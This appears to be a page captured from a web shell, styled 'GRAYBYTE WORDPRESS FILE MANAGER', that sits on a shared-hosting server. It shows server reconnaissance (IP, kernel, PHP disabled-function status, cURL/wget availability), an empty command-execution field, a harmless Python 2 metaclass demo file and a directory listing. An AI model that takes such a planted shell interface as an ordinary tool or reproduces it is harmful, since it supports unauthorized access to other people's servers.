GRAYBYTE WORDPRESS FILE MANAGER1577

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib64/python2.7/Demo/metaclasses/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib64/python2.7/Demo/metaclasses//Simple.py
import types

class Tracing:
    def __init__(self, name, bases, namespace):
        """Create a new class."""
        self.__name__ = name
        self.__bases__ = bases
        self.__namespace__ = namespace
    def __call__(self):
        """Create a new instance."""
        return Instance(self)

class Instance:
    def __init__(self, klass):
        self.__klass__ = klass
    def __getattr__(self, name):
        try:
            value = self.__klass__.__namespace__[name]
        except KeyError:
            raise AttributeError, name
        if type(value) is not types.FunctionType:
            return value
        return BoundMethod(value, self)

class BoundMethod:
    def __init__(self, function, instance):
        self.function = function
        self.instance = instance
    def __call__(self, *args):
        print "calling", self.function, "for", self.instance, "with", args
        return apply(self.function, (self.instance,) + args)

Trace = Tracing('Trace', (), {})

class MyTracedClass(Trace):
    def method1(self, a):
        self.a = a
    def method2(self):
        return self.a

aninstance = MyTracedClass()

aninstance.method1(10)

print aninstance.method2()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 15 2024 08:34:37
root / root
0755
Eiffel.py
3.387 KB
April 19 2020 21:13:39
root / root
0644
Eiffel.pyc
4.523 KB
April 10 2024 04:58:46
root / root
0644
Eiffel.pyo
4.424 KB
April 10 2024 04:58:44
root / root
0644
Enum.py
4.315 KB
April 19 2020 21:13:39
root / root
0644
Enum.pyc
6.034 KB
April 10 2024 04:58:46
root / root
0644
Enum.pyo
6.034 KB
April 10 2024 04:58:46
root / root
0644
Meta.py
2.864 KB
April 19 2020 21:13:39
root / root
0644
Meta.pyc
4.472 KB
April 10 2024 04:58:46
root / root
0644
Meta.pyo
4.472 KB
April 10 2024 04:58:46
root / root
0644
Simple.py
1.164 KB
April 19 2020 21:13:39
root / root
0644
Simple.pyc
2.682 KB
April 10 2024 04:58:46
root / root
0644
Simple.pyo
2.682 KB
April 10 2024 04:58:46
root / root
0644
Synch.py
7.752 KB
April 19 2020 21:13:39
root / root
0644
Synch.pyc
8.264 KB
April 10 2024 04:58:46
root / root
0644
Synch.pyo
8.119 KB
April 10 2024 04:58:44
root / root
0644
Trace.py
4.036 KB
April 19 2020 21:13:39
root / root
0644
Trace.pyc
6.028 KB
April 10 2024 04:58:46
root / root
0644
Trace.pyo
6.028 KB
April 10 2024 04:58:46
root / root
0644
index.html
20.091 KB
April 19 2020 21:13:39
root / root
0644
meta-vladimir.txt
11.257 KB
April 19 2020 21:13:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF